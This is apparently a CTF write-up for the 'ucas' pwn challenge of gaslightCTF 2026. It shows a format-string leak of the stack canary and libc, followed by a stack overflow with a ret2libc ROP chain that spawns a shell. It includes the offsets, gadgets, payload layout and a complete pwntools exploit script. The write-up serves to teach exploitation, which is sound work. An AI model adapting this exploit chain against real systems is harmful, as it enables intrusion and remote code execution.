SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GASLIGHTCTF-2026-UCAS-WRITEUP
← BACK TO ARCHIVE
EVENT: gaslightCTF 2026CATEGORY: PwnPOINTS: 500 PTS

GasLightCTF 2026 - Ucas Writeup

AUTHORED BY:@bealthguy8/16/2026

ucas

Flag: gaslightCTF{m4n1f3st1ng_e4sy_0ff3r5_f0r_ev3ry0n3_c2b03a9886c1}

Overview

ucas is the "university application" challenge (a play on the UK UCAS admissions system). It has two bugs:

  1. A format string on the "name" field: printf(name).
  2. A stack buffer overflow in the third essay field, reachable because the format string lets us leak the stack canary and libc.

Exploit: leak canary + libc through the format string, then overflow the third essay field with the correct canary and a ret2libc ROP chain to system("/bin/sh").

Mitigations

RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Canary + NX + PIE, but no win function, so ret2libc. Ships the same glibc 2.42-61 as thirds (BuildID 07dd7544…).

Disassembly of main (offset 0x1179)

sub rsp, 0xfe0
canary stored at [rbp-0x8]
int counter at [rbp-0xfd4]  = 0

puts("welcome to the ucas portal")
printf("please enter your name: ")
fgets(name, 0x10, stdin)            ; name at rbp-0xfd0 (16 bytes)
printf("welcome, ")
printf(name)                        ; <-- FORMAT STRING BUG
printf("Why do you want to study this course or subject? ")

; three essay fields, each:
;   fgets(buf, 0xfa0 - counter, stdin)   ; A@rbp-0xfc0, B@rbp-0xa80, C@rbp-0x540
;   counter += strlen(buf)

if (counter > 0xfa0) "your essay is too long", return
printf("your essay is %d chars long\n", counter)
if (counter & 7)  "you got no offers..." / else "congrats..."
canary check -> leave; ret

Why the third field overflows

Field C is 1344 bytes below rbp. Its read size is 0xfa0 - counter; if A and B are nearly empty, counter ~ 0, so C can take up to ~3998 bytes — far past rbp. The only guard is the canary at rbp-0x8, which the format string defeats.

Offsets inside field C's input (C starts at rbp-0x540):

  • offset 1336[rbp-0x8] canary
  • offset 1344 → saved RBP
  • offset 1352 → saved return address (ROP chain starts here)

Leaks via the format string

When printf(name) runs, rsp = rbp-0xfe0, and variadic args are read from rsp upward (args 1-5 are rsi,rdx,rcx,r8,r9, arg N at [rsp + 8*(N-6)]):

canary    = %513$   (rsp + 0xfd8  = rbp-0x8)
saved rbp = %514$
libc ret  = %515$   (return address -> libc + 0x2b285)

%515$ is the return address after the call *[rbp-0x78] to main inside __libc_start_call_main; the file offset of that instruction is 0x2b285, so:

libc_base = leak_515 - 0x2b285

A single %513$p.%515$p (13 bytes, fits the 16-byte name buffer) leaks both.

ROP chain

ret; pop rdi; ret; "/bin/sh"; system

Gadgets/offsets in the shipped libc.so.6:

system      = libc_base + 0x58860
pop rdi;ret = libc_base + 0xfc08d
ret         = libc_base + 0x2930b    (16-byte alignment, as in good-enough)
"/bin/sh"   = libc_base + 0x1c3ed9

Full payload

payload = b'A'*1336                    # pad to canary
        + p64(canary)                  # leaked
        + b'B'*8                       # saved rbp (don't care)
        + p64(base+ret)
        + p64(base+pop_rdi)
        + p64(base+binsh)
        + p64(base+system)

Notes:

  • fgets handles NUL bytes fine (only stops at newline) but the payload may not contain 0x0a — on a collision, just reconnect (fresh canary).
  • strlen(C) stops at the canary's NUL byte, so counter stays tiny and both sanity checks pass before we hijack the return.

Exploit script

Connect with ncat --ssl. The socket's stdout is bursty/fully-buffered — collect output in a loop, don't trust a single recv.

from pwn import *
import re, time

HOST = class="hljs-string">&#039;HOST.play.gaslightctf.cooking&#039;
PORT = 31337
libc = ELF(class="hljs-string">&#039;./libc.so.6&#039;, checksec=False)
SYSTEM, POPRDI, RET_G, BINSH, LIBC_RET = \
    libc.sym[class="hljs-string">&#039;system&#039;], 0xfc08d, 0x2930b, 0x1c3ed9, 0x2b285

while True:
    p = remote(HOST, PORT, ssl=True)
    p.recvuntil(bclass="hljs-string">&#039;name: &#039;, timeout=5)
    p.sendline(bclass="hljs-string">&#039;%513$p.%515$p&#039;)
    buf = p.recvuntil(bclass="hljs-string">&#039;Why do you want&#039;, timeout=5)
    m = re.search(rbclass="hljs-string">&#039;welcome, (0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)&#039;, buf)
    if not m:
        p.close(); continue
    canary = int(m.group(1), 16)
    base = int(m.group(2), 16) - LIBC_RET

    p.sendline(bclass="hljs-string">&#039;x&#039;); p.sendline(bclass="hljs-string">&#039;x&#039;)          # fields A, B nearly empty
    payload = bclass="hljs-string">&#039;A&#039;*1336 + p64(canary) + bclass="hljs-string">&#039;B&#039;*8 + \
        p64(base+RET_G) + p64(base+POPRDI) + p64(base+BINSH) + p64(base+SYSTEM)
    if bclass="hljs-string">&#039;\x0a&#039; in payload:
        p.close(); continue
    p.sendline(payload)
    time.sleep(0.5)
    p.sendline(bclass="hljs-string">&#039;echo STARTMARK; cat flag*; echo ENDMARK&#039;)

    out = bclass="hljs-string">&#039;&#039;
    t = time.time() + 10
    while time.time() < t and out.count(bclass="hljs-string">&#039;ENDMARK&#039;) == 0:
        try:
            d = p.recv(timeout=1)
        except EOFError:
            break
        if d:
            out += d
    print(out.decode())
    if bclass="hljs-string">&#039;gaslightCTF&#039; in out:
        break
    p.close()

Lessons

  • A format string doesn't have to be a write primitive: used as a read it can leak canary + libc, unblocking a plain overflow.
  • Positional specifiers (%513$p) reach arbitrary stack depths — compute positions from frame geometry (rsp at the call site vs. where the object lives).
  • strlen stopping at NUL can be your friend — it keeps the length-counter checks under the threshold.
  • Fully-buffered socket stdout caused the ROP to look like it failed; it hadn't — the output was just delayed.